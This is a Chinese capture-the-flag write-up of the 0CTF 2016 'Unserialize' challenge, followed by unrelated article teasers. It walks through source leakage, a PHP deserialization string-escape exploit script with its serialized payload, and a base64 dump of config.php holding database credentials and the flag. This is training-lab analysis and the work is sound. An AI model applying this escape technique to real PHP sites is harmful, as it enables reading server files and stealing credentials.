[CTFTraining] 0CTF 2016 Unserialize

news/2024/10/31 6:17:16/

​ 打开环境后是这样:
在这里插入图片描述
​ 找了挺多地方没啥头绪,干脆直接上dirsearch
在这里插入图片描述
​ 发现有源码泄露,直接下载下来分析。先进行自动审计:
在这里插入图片描述
​ 发现有疑似的漏洞,但根据题目来看是反序列化的,还是要自行进行审计,在profile.php中有个unserialize反序列化,打开文件后还看到一个file_get_contents读文件:
在这里插入图片描述

profile.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>

​ profile信息存在,则后面有个else 。 可能这就是最终利用到的代码:

$photo = base64_encode(file_get_contents($profile['photo']));

​ 注意一下update.php,它做了一个上传的限制:

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>

​ 注意到class.php中的数据库查询有个过滤规则,这里刚刚好拿来逃逸利用
在这里插入图片描述
​ 然后在config.php中发现:
在这里插入图片描述

​ 看到这里有个flag 应该是要class调用config.php进行读取了

​ 访问register.php注册一个账号,然后登录可更新信息:

在这里插入图片描述
​ 果然把 我们的photo 替换成了hacker
在这里插入图片描述

​ exp:

<?phpclass b
{public $phone = "12345678901";public $email = "123@qq.com";public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;?>

​ 输出结果:

O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

​ 再次更新时抓包:

在这里插入图片描述
Content-Disposition: form-data; name="nickname"替换数据并使用数组绕过:

在这里插入图片描述
​ 然后访问profile.php,查看源码得到:

data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezk0NThkMzRiLWVmOTUtYTAzMC03MGM5LWMxNDkzZDZkMjAxN30nOwo/Pgo=

base64解码得到flag:

在这里插入图片描述


http://www.ppmy.cn/news/143507.html

相关文章

DTU902 工控机 边缘计算网关

边缘计算网关&#xff08;Edge Computing Gateway&#xff09;是一种连接边缘设备和云端服务器的中间件设备&#xff0c;它可以处理和存储大量的数据&#xff0c;提高数据处理和传输的效率。边缘计算网关可以将数据预处理和过滤&#xff0c;减少数据传输到云端的负荷&#xff0…

【华为OD机试真题2023B卷 JAVAJS】矩阵稀疏扫描

华为OD2023(B卷)机试题库全覆盖,刷题指南点这里 矩阵稀疏扫描 时间限制:1s 空间限制:256MB 限定语言:不限 题目描述: 如果矩阵中的许多系数都为零,那么该矩阵就是稀疏的。对稀疏现象有兴趣是因为它的开发可以带来巨大的计算节省,并且在许多大的实践中都会出现矩阵稀疏…

国内版Office 365 E3到E1降级方案

目录 文章目录 前言 一、什么是Office 365 E3和E1&#xff1f; 二、为什么需要Office 365 E3到E1降级&#xff1f; 三、Office 365 E3到E1降级的操作步骤 四、Office 365 E3到E1降级的注意事项 总结 前言 本篇文章将会介绍国内版Office 365 E3到E1降级方案&#xff0c;…

第一行代码 第十四章 开发酷欧天气

第14章 开发酷欧天气 在本章将编写一个功能较为完整的天气预报程序。 功能需求及技术可行性分析 在开始编码之前&#xff0c;需要先对程序进行需求分析&#xff0c;想一想酷欧天气中应该具备哪些功能。将这些功能全部整理出来&#xff1a; 可以罗列出全国所有的省、市、县&…

关于瑞斯康达DR5264路由器拨号!

移动送的路由器如何拨号&#xff0c;UP太闲了无法驾驭&#xff01; 谁知道DR5264如何拨号上网&#xff0c;广东移动&#xff01;

城域网光纤、拨号光纤与ADSL的区别

城域网光纤&#xff1a;首先是光纤&#xff0c;光信号传输&#xff0c;有固定ip&#xff0c;上下行对等&#xff0c;价格贵&#xff0c;一般用在对网络要求比较高&#xff0c;或者有自己的机房&#xff0c;有对外应用的企业。 拨号光纤&#xff1a;光纤&#xff0c;光信号传输…

ADSL拨号是什么

ADSL拨号上网指的就是通过拨打ISP的接入号连接到Internet&#xff0c;现在家庭上网基本都是宽带。常见的有利用电话线的ADSL技术&#xff0c;最新的光纤入户&#xff0c;小区光纤等等。 ADSL拨号上网主要特点是&#xff1a; 1、一条电话线可同时接听&#xff0c;拨打电话并进…

adsl动态拨号服务器有什么不同?

adsl动态拨号服务器是什么?是属于VPS的其中一种类型吗?服务器那么多分类&#xff0c;大家确实很容易搞混&#xff0c;下面由掌柜给大家介绍下adsl动态拨号服务器。 adsl拨号服务器又叫动态拨号vps、动态IP vps或者拨号vps&#xff0c;主要是相对于平常所见到的固定IP的VPS服务…